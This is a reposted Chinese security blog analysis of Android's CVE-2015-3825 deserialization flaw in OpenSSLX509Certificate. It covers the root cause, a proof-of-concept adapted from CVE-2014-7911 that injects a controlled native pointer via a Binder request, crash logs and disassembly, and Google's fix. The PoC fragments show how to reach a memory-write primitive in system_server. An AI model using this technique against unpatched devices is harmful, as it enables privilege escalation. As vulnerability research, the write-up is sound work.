當(dāng)前位置：首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

OpenSSL X509 Certificate反序列化漏洞（CVE-2015-3825）成因分析

發(fā)布時(shí)間：2025/3/15 编程问答 23 豆豆

生活随笔收集整理的這篇文章主要介紹了 OpenSSL X509 Certificate反序列化漏洞（CVE-2015-3825）成因分析小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

一、序

序列化?(Serialization)，是將對(duì)象的狀態(tài)信息轉(zhuǎn)換為可以存儲(chǔ)或傳輸?shù)男问降倪^(guò)程。在序列化期間，對(duì)象將其當(dāng)前狀態(tài)寫(xiě)入到臨時(shí)或持久性存儲(chǔ)區(qū)。使用者可以通過(guò)從存儲(chǔ)區(qū)中讀取或反序列化對(duì)象的狀態(tài)，重新創(chuàng)建該對(duì)象。Android也有許多場(chǎng)景使用序列化進(jìn)行數(shù)據(jù)傳遞，如App間/內(nèi)的對(duì)象傳遞、Binder通信的數(shù)據(jù)傳遞等等，一般涉及跨進(jìn)程、跨權(quán)限。序列化/反序列也是程序/接口的一個(gè)輸入，存儲(chǔ)區(qū)的內(nèi)容或序列是可被隨機(jī)填充，如果使用時(shí)驗(yàn)證不完整，也會(huì)導(dǎo)致安全漏洞。在Android系統(tǒng)中，可通過(guò)序列化/反序列化漏洞實(shí)現(xiàn)App拒絕服務(wù)、提升權(quán)限等攻擊。

二、漏洞成因

這個(gè)Android序列化漏洞(CVE-2015-3825)，影響Android4.3及Android5.1版本，也就是Jelly Bean、KitKat、棒棒糖和Android M預(yù)覽版1，波及55%的Android設(shè)備。可在受影響的設(shè)備上提權(quán)到system權(quán)限，也就意味著攻擊者可以通過(guò)替換目標(biāo)應(yīng)用的apk接管受害者手機(jī)上的任意應(yīng)用。這個(gè)漏洞是由的IBM安全團(tuán)隊(duì)Or Peles和Roee Hay在USENIX 2015大會(huì)上的議題《ONE CLASS TO RULE THEM ALL 0-DAY DESERIALIZATION VULNERABILITIES IN ANDROID》[1]。

2.1 PoC構(gòu)造

?????? Paper作者沒(méi)放出Exploit也沒(méi)放出PoC，根據(jù)這篇paper我們可以知道，漏洞出在OpenSSLX509Certificate（全包名路徑為com.android.org.conscrypt.OpenSSLX509Certificate）類(lèi)，OpenSSLX509Certificate類(lèi)滿足：

1）OpenSSLX509Certificate是可序列化的，因?yàn)樗^承自可序列化的Certificate類(lèi)；

2）它有一個(gè)finalize()方法，并且有調(diào)用native的方法（libjavascrypto.so中），參數(shù)field mContext，long型（實(shí)際為指針類(lèi)型）；

3）OpenSSLX509Certificate也沒(méi)有實(shí)現(xiàn)特定的反序列化方法（readObject和readResolve）；

其中mContext就是要找的可被攻擊控制的指針。

我對(duì)CVE-2014-7911的POC進(jìn)行了改造，

首先定義類(lèi)com.android.org.conscrypt.ApenSSLX509Certificate，如下：

public?class?ApenSSLX509Certificate?implements?Serializable {

????//private static final long serialVersionUID = -5454153458060784251L;//android4.4.2 emulator

????private?static?final?long?serialVersionUID?= -8550350185014308538L;//android 5.1.1 emulator

????public?final?long?mContext;

????ApenSSLX509Certificate(long?ctx) {

????????mContext?= ctx;

????}

}

???????注意包名為com.android.org.conscrypt，然后在同包名下創(chuàng)建一個(gè)MainActivity.java，對(duì)ApenSSLX509Certificate進(jìn)行調(diào)用：

com.android.org.conscrypt.ApenSSLX509Certificate evilProxy =?new?com.android.org.conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL);

b.putSerializable("eatthis", evilProxy);

???????和CVE-2014-7911 PoC一樣，向“android.os.IUserManager”的service發(fā)送請(qǐng)求前，修改類(lèi)名：

int?l = data.length;

for?(int?i=0; i<l-4; i++) {

if?(data[i] ==?'A'?&& data[i+1] ==?'p'?&& data[i+2] ==?'e'?&& data[i+3] ==?'n') {

data[i] =?'O';

break;

}

???????類(lèi)似CVE-2014-7911的分析，我們也對(duì)service.jar加一些日志信息輸出，在Android 4.4.2的AVD中，安裝、運(yùn)行PoC，我們看到：

E/CVE-2014-7911-trace(1669): setApplicationRestrictions

E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked

E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::eatthis

E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::else

E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception

E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception::java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[]

W/System.err(1669): java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[]

at com.android.server.pm.UserManagerService.writeApplicationRestrictionsLocked(UserManagerService.java:1417)

at com.android.server.pm.UserManagerService.setApplicationRestrictions(UserManagerService.java:1124)

at android.os.IUserManager$Stub.onTransact(IUserManager.java:245)

W/System.err(1669):?????at android.os.Binder.execTransact(Binder.java:404)

W/System.err(1669):?????at dalvik.system.NativeStart.run(Native Method)

E/UserManagerService(1669): Error writing application restrictions list

???????也是強(qiáng)制類(lèi)型轉(zhuǎn)換導(dǎo)致異常，與CVE-2014-7911的強(qiáng)制轉(zhuǎn)換為java.io.Serializable導(dǎo)致的異常不同，因?yàn)閭魅氲膐bject本身不是序列化的對(duì)象，致使類(lèi)型轉(zhuǎn)換失敗。CVE-2015-3825是將com.android.org.conscrypt.OpenSSLX509Certificate強(qiáng)制轉(zhuǎn)換為java.lang.String[]而產(chǎn)生的異常。

?????? 驗(yàn)證PoC過(guò)程中，在Android 4.4.2 AVD，只觸發(fā)了“Error writing application restrictions list”異常，但是GC資源回收沒(méi)被觸發(fā)。

?????? 在Android 5.1.1 AVD，可以通過(guò)重復(fù)發(fā)送n次的“TRANSACTION_setApplicationRestrictions”請(qǐng)求可以觸發(fā)GC回收資源，最后導(dǎo)致system_server的crash:

A/libc(4839): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x7f7f7f8f in tid 4848 (FinalizerDaemon)

I/DEBUG(61): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***

I/DEBUG(61): Build fingerprint: 'generic/sdk_phone_armv7/generic:5.1/LKY45/1737576:eng/test-keys'

I/DEBUG(61): Revision: '0'

I/DEBUG(61): ABI: 'arm'

I/DEBUG(61): pid: 4839, tid: 4848, name: FinalizerDaemon??>>> system_server <<<

I/DEBUG(61): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7f7f7f8f

I/DEBUG(61):?????r0 00000000??r1 0000000c??r2 00000000??r3 00000000

I/DEBUG(61):?????r4 b6c9766f??r5 00000003??r6 ffffffff??r7 7f7f7f8f

I/DEBUG(61):?????r8 00000075??r9 b6c24ac9??sl a78fbaa4??fp 13068980

I/DEBUG(61):?????ip 00000001??sp a78fba58??lr b6c3da1d??pc b6c3da1c??cpsr 60000030

I/DEBUG(61): backtrace:

I/DEBUG(61):?????#00 pc 00072a1c??/system/lib/libcrypto.so (CRYPTO_add_lock+59)

I/DEBUG(61):?????#01 pc 000579b1??/system/lib/libcrypto.so (asn1_do_lock+68)

I/DEBUG(61):?????#02 pc 0005646f??/system/lib/libcrypto.so

09-06 20:31:31.394: I/DEBUG(61):?????#03 pc 00056415??/system/lib/libcrypto.so (ASN1_item_free+12)

09-06 20:31:31.395: I/DEBUG(61):?????#04 pc 00017c0d??/data/dalvik-cache/arm/system@framework@boot.oat

09-06 20:32:09.116: I/art(5663): Background sticky concurrent mark sweep GC freed 7340(386KB) AllocSpace objects, 0(0B) LOS objects, 45% free, 603KB/1117KB, paused 887us total 513.880ms

09-06 20:32:22.682: I/DEBUG(61): Tombstone written to: /data/tombstones/tombstone_01

2.2?異常分析

這里基于Android 5.1.1 AVD上的分析。

上面說(shuō)到，“TRANSACTION_setApplicationRestrictions”請(qǐng)求發(fā)出后，導(dǎo)致一個(gè)異常，然后GC回收資源。

從源代碼分析，GC調(diào)用OpenSSLX509Certificate.?finalize():

????@Override

????protected void finalize() throws Throwable {

????????try {

????????????if (mContext != 0) {

????????????????NativeCrypto.X509_free(mContext);

????????????}

????????} finally {

????????????super.finalize();

????????}

????}

然后調(diào)用NativeCrypto.X509_free()方法，該方法在NativeCrypto.java定義如下：

?????? public static native void X509_free(long x509ctx);

最終是在libjavacrypto.so中實(shí)現(xiàn)的，該函數(shù)定義在org_conscrypt_NativeCrypto.cpp文件中：

static void NativeCrypto_X509_free(JNIEnv* env, jclass, jlong x509Ref) {

????X509* x509 = reinterpret_cast<X509*>(static_cast<uintptr_t>(x509Ref));

????JNI_TRACE("X509_free(%p)", x509);

????if (x509 == NULL) {

????????jniThrowNullPointerException(env, "x509 == null");

????????JNI_TRACE("X509_free(%p) => x509 == null", x509);

????????return;

????}

????X509_free(x509);

}

NativeCrypto_X509_free函數(shù)最后調(diào)用的X509_free是OpenSSL庫(kù)提供的接口，關(guān)于如何找到該函數(shù)實(shí)現(xiàn)請(qǐng)參考附錄一。

根據(jù)上面分析得到信息，在動(dòng)態(tài)調(diào)試時(shí)，我們?cè)趌ibjavacrypto.so::?NativeCrypto_X509_free函數(shù)中下斷，

.text:00008C1C sub_8C1C????????????????????????????????; DATA XREF: .data:000175ACo

.text:00008C1C?????????????????CBNZ????????????R2, loc_8C26

.text:00008C1E?????????????????LDR?????????????R1, =(aX509Null - 0x8C24)

.text:00008C20?????????????????ADD?????????????R1, PC??; "x509 == null"

.text:00008C22?????????????????B.W?????????????j_j_j_jniThrowNullPointerException

.text:00008C26

.text:00008C26 loc_8C26????????????????????????????????; CODE XREF: sub_8C1Cj

.text:00008C26?????????????????MOV?????????????R0, R2

.text:00008C28?????????????????B.W?????????????j_j_X509_free

.text:00008C28 ; End of function sub_8C1C

下斷點(diǎn)后，有時(shí)會(huì)碰到單步執(zhí)行異常，筆者使用的一個(gè)辦法供參考：設(shè)置該lib庫(kù)的所有內(nèi)存節(jié)屬性為可寫(xiě)的。

在j_j_X509_free中單步步入，到libcrypto.so:?ASN1_item_free函數(shù)，

.text:00056408?????????????????EXPORT ASN1_item_free

.text:00056408 ASN1_item_free??????????????????????????; CODE XREF: j_ASN1_item_free+8j

.text:00056408?????????????????????????????????????????; DATA XREF: .got:ASN1_item_free_ptro

.text:00056408

.text:00056408 var_C???????????= -0xC

.text:00056408

.text:00056408?????????????????PUSH.W??????????{R11,LR}

.text:0005640C?????????????????SUB?????????????SP, SP, #8

.text:0005640E?????????????????STR?????????????R0, [SP,#0x10+var_C]

.text:00056410?????????????????ADD?????????????R0, SP, #0x10+var_C

.text:00056412?????????????????MOVS????????????R2, #0

.text:00056414?????????????????BL??????????????sub_56420

.text:00056418?????????????????ADD?????????????SP, SP, #8

.text:0005641A?????????????????POP.W???????????{R11,PC}

.text:0005641A ; End of function ASN1_item_free

sub_56420即為asn1_item_combine_free?函數(shù)，定義為：

static void asn1_item_combine_free(ASN1_VALUE **pval, const ASN1_ITEM *it, int combine)。我們繼續(xù)分析這個(gè)函數(shù)，

.text:00056420 sub_56420???????????????????????????????; CODE XREF: ASN1_item_free+Cp

.text:00056420?????????????????????????????????????????; ASN1_item_ex_free+2j ...

.text:00056420?????????????????PUSH.W??????????{R4-R10,LR}

.text:00056424?????????????????MOV?????????????R10, R0 ; R0: pval, &mContext;

.text:00056426?????????????????MOV?????????????R8, R2??; R1: combine, int;

.text:00056428?????????????????MOV?????????????R5, R1??; R1: it, ASN1_ITEM;

.text:00056428?????????????????????????????????????????; libcrypto.so:X509_NAME_TYPE_it

.text:0005642A?????????????????CMP.W???????????R10, #0 ; if (!pval) return;

.text:0005642E?????????????????BEQ.W???????????def_5645A ; jumptable 0005645A default case

.text:00056432?????????????????LDRB????????????R1, [R5] ; R1 <- it->itype;

.text:00056434?????????????????LDR?????????????R0, [R5,#0x10] ; R0 <- aux = it->funcs;

.text:00056436?????????????????CBZ?????????????R1, loc_56442 ; #define ASN1_ITYPE_PRIMITIVE 0x0

.text:00056438?????????????????LDR.W???????????R2, [R10] ; !*pval

.text:0005643C?????????????????CMP?????????????R2, #0

.text:0005643E?????????????????BEQ.W???????????def_5645A ; jumptable 0005645A default case

如分號(hào)后的備注所寫(xiě)，這段代碼將初始相關(guān)變量：將&mContext存入R10，combine存入R2，it存入R5，然后驗(yàn)證參數(shù)的合法性。代碼繼續(xù)，獲取aux->asn1_cb存入R9中：

.text:00056442 loc_56442???????????????????????????????; CODE XREF: sub_56420+16j

.text:00056442?????????????????CMP?????????????R0, #0

.text:00056444?????????????????ITT NE

.text:00056446?????????????????LDRNE.W?????????R9, [R0,#0x10] ; R9: asn1_cb = aux->asn1_cb;

.text:0005644A?????????????????CMPNE.W?????????R9, #0

.text:0005644E?????????????????BNE?????????????loc_56454 ; switch(it->itype)

.text:00056450?????????????????MOV.W???????????R9, #0

繼續(xù)，接下來(lái)調(diào)用asn1_do_lock函數(shù)：

.text:00056466?????????????????MOV?????????????R0, R10 ; jumptable 0005645A cases 1,6

.text:00056468?????????????????MOV.W???????????R1, #0xFFFFFFFF ;?傳入-1

.text:0005646C?????????????????MOV?????????????R2, R5??; it

.text:0005646E?????????????????BLX?????????????j_asn1_do_lock ; int asn1_do_lock(ASN1_VALUE **pval, int op, const ASN1_ITEM *it)

.text:0005646E?????????????????????????????????????????;?走到這了，crash在這個(gè)函數(shù)

.text:00056472?????????????????CMP?????????????R0, #0?

.text:00056474?????????????????BGT?????????????def_5645A ; jumptable 0005645A default case

此時(shí)整理asn1_do_lock函數(shù)調(diào)用時(shí)參數(shù)：R0是上面R10存儲(chǔ)的&mContext，R1為-1，R2為上面R5存儲(chǔ)的it。下面進(jìn)入asn1_do_lock函數(shù)繼續(xù)分析，取出it->funcs放入R2：

.text:00057984?????????????????LDR?????????????R2, [R2,#0x10] ; aux = it->funcs;

.text:00057986?????????????????CMP?????????????R2, #0

再取it->funcs即aux的ref_offset放入R3中，然后計(jì)算(char*)mContext+aux->ref_offset的存入R12：

.text:00057992?????????????????LDR?????????????R3, [R2,#8] ; aux->ref_offset

.text:00057994?????????????????CMP?????????????R1, #0

.text:00057996?????????????????LDR?????????????R0, [R0] ; R0 = &mContext

.text:00057998?????????????????ADD.W???????????R12, R0, R3 ; lck = offset2ptr(*pval, aux->ref_offset);

.text:0005799C?????????????????BEQ?????????????loc_579B6

接下來(lái)是調(diào)用CRYPTO_add_lock函數(shù)：

.text:000579A2?????????????????MOVS????????????R0, #0x75

.text:000579A4?????????????????LDR?????????????R3, =(aExternalOpe_43 - 0xFA1D8)

.text:000579A6?????????????????ADD?????????????LR, PC ; _GLOBAL_OFFSET_TABLE_

.text:000579A8?????????????????LDR?????????????R2, [R2,#0xC] ; aux->ref_lock

.text:000579AA?????????????????ADD?????????????R3, LR??; "external/openssl/crypto/asn1/tasn_utl.c"

.text:000579AC?????????????????STR?????????????R0, [SP,#0x10+var_10] ; line: 0x75 -> 117

.text:000579AE?????????????????MOV?????????????R0, R12

.text:000579B0?????????????????BLX?????????????j_CRYPTO_add_lock ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line)

進(jìn)一步分析CRYPTO_add_lock函數(shù)，讀取R7地址的內(nèi)容再加R1（R1＝-1，這里也就是減1操作），然后再存入R1地址中：

.text:000729E0 ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line)

.text:000729E0?????????????????EXPORT CRYPTO_add_lock

.text:000729E0 CRYPTO_add_lock?????????????????????????; CODE XREF: j_CRYPTO_add_lock+8j

.text:000729E4?????????????????MOV?????????????R7, R0??; R7 = (char*)mContext+aux->ref_offset

... ...

.text:000729E8?????????????????MOV?????????????R6, R1??; R1 = -1

… …

.text:00072A1C?????????????????LDR?????????????R0, [R7] ;?Crash在這，此時(shí)R7為0x7F7F7F8F

.text:00072A24?????????????????ADD?????????????R6, R0

… …

.text:00072A28?????????????????STR?????????????R6, [R7] ;?如果R7指向的內(nèi)存為寫(xiě)的，這里可以實(shí)現(xiàn)任意寫(xiě)

調(diào)試時(shí)aux->ref_offset的值為0x10，參考x509_st結(jié)構(gòu)，我們猜測(cè)(char*)mContext+0x10為mContext->?references，用記錄對(duì)象引用次數(shù)，管理內(nèi)存的引用。再看源碼tasn_fre.c (external/openssl/crypto/asn1/)[4]的asn1_item_combine_free方法：

????????case ASN1_ITYPE_SEQUENCE:

????????if (asn1_do_lock(pval, -1, it) > 0)

????????????return;

????????if (asn1_cb)

????????????{

????????????i = asn1_cb(ASN1_OP_FREE_PRE, pval, it, NULL);

????????????if (i == 2)

????????????????return;

????????????}

當(dāng)asn1_do_lock返回為0，即mContext->?references為0時(shí)，才調(diào)用asn1_cb函數(shù)釋放資源。

繼續(xù)CRYPTO_add_lock的反匯編代碼分析，由于我們?cè)贘ava層傳入的是一個(gè)非法地址0x7f7f7f7f，所以導(dǎo)到內(nèi)存寫(xiě)異常。

Google的修復(fù)方法[2]是給mContext成員添加transient修飾符，使其不被序列化。

三、?總結(jié)

在對(duì)象序列化時(shí)，指針成員的序列化較易存在安全風(fēng)險(xiǎn)，如CVE-2014-7911中的mOrgue，CVE-2015-3825中的mContext。本漏洞（CVE-2015-3825）中由于mContext是可序列化的，而它指向的又是X509結(jié)構(gòu)的指針，當(dāng)傳入的序列化對(duì)象在反序列化產(chǎn)生異常時(shí)，系統(tǒng)調(diào)用GC回收資源，即mContext->references減1，這里mContext是可控制的，便可導(dǎo)致有限制的內(nèi)存任意寫(xiě)（多次減1）漏洞。

四、?參考

[1]https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf

[2]https://android.googlesource.com/platform/external/conscrypt/+/edf7055461e2d7fa18de5196dca80896a56e3540

[3]https://github.com/Purity-Lollipop/platform_external_conscrypt/commit/edf7055461e2d7fa18de5196dca80896a56e3540

[4]https://android.googlesource.com/platform/external/openssl/+/android-5.1.1_r13/crypto/asn1/tasn_fre.c

五、?附錄

5.1?如何找到那個(gè)叫X509_free的函數(shù)

???????在OpenSSL代碼中怎么搜X509_free也搜索不到真正的代碼實(shí)現(xiàn)，這是因?yàn)镺penSSL中用了一堆宏、宏嵌套定義部分函數(shù)、結(jié)構(gòu)，X509_free就在其中一個(gè)。細(xì)細(xì)看代碼才發(fā)現(xiàn)X509_free是在crypto/asn1/x_x509.c文件中由IMPLEMENT_ASN1_FUNCTIONS定義的：

IMPLEMENT_ASN1_FUNCTIONS(X509)

???????順藤摸瓜找出下面幾個(gè)嵌套的宏：

# define IMPLEMENT_ASN1_FUNCTIONS_fname(stname, itname, fname) \

??????? IMPLEMENT_ASN1_ENCODE_FUNCTIONS_fname(stname, itname, fname) \

??????? IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname)

# define IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) \

??????? stname *fname##_new(void) \

??????? { \

??????????????? return (stname *)ASN1_item_new(ASN1_ITEM_rptr(itname)); \

??????? } \

??????? void fname##_free(stname *a) \

??????? { \

??????????????? ASN1_item_free((ASN1_VALUE *)a, ASN1_ITEM_rptr(itname)); \

??????? }

?????????? #define ASN1_ITEM_rptr(ref) (&(ref##_it))

???????映射到X509的定義，可以翻譯如下：

X509 * X509_new(void) \

??????? { \

??????????????? return (X509 *)ASN1_item_new(&X509_it); \

??????? } \

??????? void X509_free(X509 *a) \

??????? { \

??????????????? ASN1_item_free((ASN1_VALUE *)a, &X509_it)); \

??????? }

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??沒(méi)羽@Alibaba

原文地址：?https://jaq.alibaba.com/blog.htm?id=85

與50位技術(shù)專(zhuān)家面對(duì)面20年技術(shù)見(jiàn)證，附贈(zèng)技術(shù)全景圖

總結(jié)

以上是生活随笔為你收集整理的OpenSSL X509 Certificate反序列化漏洞（CVE-2015-3825）成因分析的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。

上一篇： CVE-2014-7911 Androi
下一篇：为什么Android要采用Binder作